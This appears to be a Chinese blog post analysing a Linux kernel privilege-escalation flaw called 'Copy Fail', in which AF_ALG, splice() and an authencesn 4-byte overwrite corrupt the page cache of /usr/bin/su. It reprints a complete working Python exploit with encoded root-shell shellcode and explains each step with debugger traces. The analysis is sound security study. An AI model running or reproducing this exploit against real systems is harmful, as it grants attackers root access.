今早起来刷公众号发现传疯了的linux高危cve
刚开始看 Copy Fail 的时候,我也很容易把它想成一个很普通的内核实现问题:authencesn 在解密尾部多写了 4 个字节,然后事情就变严重了。后来真正把资料和代码对着看了一遍,才发现这个理解还是太窄了,这个洞真正值得注意的地方,不是 4 个字节多不多,而是这 4 个字节最后为什么会落到一个完全不该被写的位置上
如果先用一句最直白的话概括,它不是一个函数多写了 4 个字节这么简单,而是这 4 个字节被一路带到了和文件缓存页有关的位置,一旦被碰到的是 file-backed page cache,问题就不再只是某个临时缓冲区脏了,而是后面真正会被程序读到甚至会被执行路径用到的内容,可能都跟着变掉
有几个概念需要先理解
AF_ALG 是 Linux 内核提供的一个特殊的 socket 家族,专门用来让用户态程序调用内核的加密算法。你可以把它理解成:普通的 socket 是用来网络通信的,而 AF_ALG 这种 socket 是用来做加解密的,用户态程序通过它把数据发给内核,内核用硬件加速或者优化过的算法处理完,再把结果返回
splice() 是一个系统调用,它的设计初衷是”零拷贝”地在两个文件描述符之间传输数据。关键在于,它传递的不是数据的副本,而是数据所在内存页的引用。
举个例子:你打开一个文件,文件内容会被加载到内核的 page cache 里,splice 可以直接把这个 page cache 的引用传给另一个文件描述符,而不需要把数据复制一遍,这样效率很高,但也埋下了隐患:如果接收方对这个引用做了写操作,那么原始的 page cache 就会被改掉
page cache 是内核为了提高文件读写效率而设计的缓存机制,当你读取一个文件时,内核不会每次都去磁盘读,而是先把文件内容加载到内存里的 page cache,后续的读取都从这里拿,关键是如果 page cache 被改了,那么后续所有读取这个文件的程序,拿到的都是被改过的内容,而不是磁盘上的原始内容
/usr/bin/su 是 Linux 系统里用来切换用户的程序,它有一个特殊的属性叫 setuid,这个属性的意思是:不管谁执行这个程序,程序运行时都会以文件所有者的权限运行,/usr/bin/su 的所有者是 root,所以普通用户执行它时,程序会以 root 权限运行,这就是为什么普通用户可以通过 su 切换到 root
提权的核心思路:如果我们能把 /usr/bin/su 的 page cache 改掉,把它的开头几个字节改成我们的 shellcode,那么当我们执行 su 的时候,内核从 page cache 读到的就不是原来的 su 程序,而是我们的 shellcode,因为 su 是以 root 权限运行的,所以我们的 shellcode 也会以 root 权限执行,这样就完成了提权
公开 exploit 代码分析
网上流传最广的就是下面这段 exploit:
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind((“aead”, “authencesn(hmac(sha256),cbc(aes))”))
h = 279
v = a.setsockopt
v(h, 1, d(“0800010000000010” + “0” * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d(“00”)
u.sendmsg(
[b”A” * 4 + c],
[
(h, 3, i * 4),
(h, 2, b”\x10” + i * 19),
(h, 4, b”\x08” + i * 3),
],
32768,
)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try:
u.recv(8 + t)
except:
0
f = g.open(“/usr/bin/su”, 0)
i = 0
e = zlib.decompress(
d(
“78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3”
)
)
while i < len(e):
c(f, i, e[i : i + 4])
i += 4
g.system(“su”)
这段代码看起来很短,但每一步都很关键
第一步准备 shellcode
e = zlib.decompress(d(“78daab77f5...”))
这一行是在解压一段数据,解压后得到的就是 shellcode,这段 shellcode 的作用很简单:执行 /bin/sh,并且以当前进程的权限运行,因为后面这段 shellcode 会被植入到 /usr/bin/su 的开头,而 su 是以 root 权限运行的,所以这段 shellcode 也会以 root 权限执行,最终给我们一个 root shell
第二步打开目标文件
f = g.open(“/usr/bin/su”, 0)
这里打开 /usr/bin/su,注意第二个参数是 0,只读,关键就在这里,我们不是直接写文件,而是通过后面的漏洞利用链,让内核在处理加密请求时,把数据写到 /usr/bin/su 的 page cache 上
第三步循环写入 shellcode
while i < len(e):
c(f, i, e[i : i + 4])
i += 4
这个循环每次取 4 个字节的 shellcode,调用 c() 函数把它写到 /usr/bin/su 的对应位置
因为这个漏洞每次只能越界写 4 个字节,所以需要反复触发多次,才能把完整的 shellcode 写进去
第四步核心利用函数 c()
这个函数是整个 exploit 的核心,我们逐行分析
a = s.socket(38, 5, 0)
创建一个 AF_ALG socket,38 是 AF_ALG 的值,5 是 SOCK_SEQPACKET 的值,这一步告诉内核要用加密接口
a.bind((“aead”, “authencesn(hmac(sha256),cbc(aes))”))
绑定到具体的加密算法。authencesn 是一个 AEAD(带认证的加密)算法,它的实现里有一个 bug:在解密时会在输出缓冲区的末尾多写 4 个字节
v(h, 1, d(“0800010000000010” + “0” * 64))
v(h, 5, None, 4)
设置加密密钥和认证标签长度,这里的 4 就是告诉内核:认证标签是 4 字节,这个值很关键,因为漏洞就是在处理这个认证标签时触发的
u, _ = a.accept()
调用 accept() 获取一个操作 socket。这个 socket 用来发送实际的加密请求。
u.sendmsg([b”A” * 4 + c], [...], 32768)
发送一个加密请求,前 4 个字节是填充,c 是这次要写入的 4 字节 shellcode,后面的控制消息告诉内核这是一个解密操作
r, w = g.pipe()
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
这三行是整个利用链最关键的部分,我们创建了一个 pipe,然后:
- 第一次 splice:把 /usr/bin/su 文件的内容(从偏移 o 开始)传到 pipe 的写端
- 第二次 splice:把 pipe 的读端传到 AF_ALG socket
关键在于:splice 传递的不是数据副本,而是 page cache 的引用。这样,AF_ALG socket 在处理加密请求时,操作的就是 /usr/bin/su 的 page cache
u.recv(8 + t)
接收解密结果,这一步会触发内核的解密处理,而 authencesn 在解密时会在输出缓冲区末尾多写 4 个字节,因为输出缓冲区实际上是 /usr/bin/su 的 page cache,所以这 4 个字节就被写到了 /usr/bin/su 的 page cache 上
第五步执行被污染的 su
g.system(“su”)
经过前面的循环,/usr/bin/su 的 page cache 开头已经被我们的 shellcode 覆盖了,现在执行 su,内核会从 page cache 读取程序内容,读到的就是我们的 shellcode,因为 su 是 setuid 程序,会以 root 权限运行,所以我们的 shellcode 也以 root 权限执行,最终得到一个 root shell。
为了更清楚地看到这条利用链是怎么工作的,我用 pwndbg 在关键的系统调用处下了断点
socket() – 创建 AF_ALG socket

程序第一个断点停在 socket() 系统调用
从 pwndbg 的输出能看到
$rdi = 38:这是 AF_ALG 的值,说明我们创建的是加密 socket,不是普通的网络 socket
$rsi = 524293:这是 SOCK_SEQPACKET 的值,表示这是一个有序的、可靠的数据包 socket
调用栈(backtrace)很清楚地展示了调用路径:从 Python 解释器的 _PyEval_EvalFrameDefault,到 _PyObject_MakeTpCall,再到 glibc 的 socket 包装函数,最后进入内核,这证明了 Python 脚本确实在调用 AF_ALG 接口
这一步完成后,内核知道了:有个用户态程序想用加密接口
sendmsg() – 发送加密请求

第二个断点停在 sendmsg(),这里能看到:
fd=5:这是前面 accept() 返回的操作 socket
msg=0x7fffffffd560:指向 msghdr 结构,里面包含了要发送的数据和控制消息
flags=32768:这是 MSG_MORE,表示后面还有数据要发送
用 x/32xb $rsi 查看内存,能看到 msghdr 结构的内容。虽然这些字节看起来很抽象,但它们包含了:
iovec:指向实际数据的指针(就是那 4 个 ‘A’ 加上 4 字节 shellcode)
控制消息:告诉内核这是一个解密操作,以及相关的参数
这一步完成后,内核知道了:用户态要做一次 AEAD 解密操作,数据已经准备好了
splice() – 把文件页引用传进来

第三个断点停在第一次 splice(),参数是:
$rdi = 3:这是 /usr/bin/su 的文件描述符
$rdx = 7:这是 pipe 的写端
$r8 = 4:传输 4 字节
这一步的作用是:把 /usr/bin/su 文件的 4 字节内容传到 pipe,关键在于,splice 传递的不是数据副本,而是 page cache 的引用,也就是说,pipe 里现在持有的是 /usr/bin/su 的 page cache 引用

第四个断点停在第二次 splice(),参数是:
fd_in=6:pipe 的读端
fd_out=5:AF_ALG 操作 socket
len=4:传输 4 字节
这一步的作用是:把 pipe 里的内容(实际上是 /usr/bin/su 的 page cache 引用)传给 AF_ALG socket,到这里,AF_ALG 的处理路径已经和 /usr/bin/su 的 page cache 连在一起了。
这两次 splice 是整个利用链最关键的部分。它们把一个本来只应该被读取的文件页引用,传递给了一个会进行写操作的加密处理路径
recv() – 触发越界写入

最后一个断点停在 recv(),参数是:
fd=5:AF_ALG 操作 socket
buf=0x7ffff7bffe00:接收缓冲区
len=8:期望接收 8 字节
这一步会触发内核的解密处理,authencesn 在解密时,会在输出缓冲区的末尾多写 4 个字节(这就是漏洞),因为前面两次 splice 已经把 /usr/bin/su 的 page cache 引用传进来了,所以这 4 个字节会被写到 /usr/bin/su 的 page cache 上。
从寄存器状态能看到,rip 指向 __libc_recv,所有参数都准备好了,这一步执行完,/usr/bin/su 的 page cache 就被改写了 4 个字节
这条链的精妙之处在于:每一步单独看都是合法的操作,但组合起来就能让一个只读文件的缓存被改写,最终导致提权。
这里有个很容易误解的点:很多人看到改了 /usr/bin/su,会以为磁盘上的文件被永久改坏了其实不是这样的。
当你打开一个文件并读取它时,内核会把文件内容加载到内存里的 page cache,后续对这个文件的读取,都是从 page cache 拿数据,而不是每次都去读磁盘,这样效率更高
splice() 传递的是 page cache 的引用,所以 authencesn 的越界写入,写的也是 page cache,而不是磁盘文件,但这已经足够危险了,因为执行程序时读的是 page cache,当你执行 su 时,内核会从 page cache 读取程序内容,如果 page cache 被改了,执行的就是被改过的内容
page cache 会保持一段时间:page cache 不会立即消失,它会在内存里保持一段时间,在这段时间内,所有对这个文件的读取都会受到影响。
重启后恢复正常:因为改的是内存里的 page cache,重启后 page cache 会被清空,磁盘上的文件还是原来的样子
所以这个漏洞的危险之处在于,它能在不修改磁盘文件的情况下,让一个 setuid 程序执行我们的代码,从而完成提权
总结
Copy Fail 这个漏洞的精妙之处,不在于多写了 4 个字节这个事实本身,而在于这 4 个字节是怎么一步步被带到一个不该被写的位置上的
每个机制单独看都是合理的设计,但组合起来就产生了一个严重的安全漏洞,这也是为什么内核安全研究这么难,不是某个函数有 bug 就一定能利用,而是要找到一条完整的链,把多个机制串起来,最终达到提权的目的
理解这条链,比单纯记住 exploit 代码更重要
参考资料我主要看了这几份:









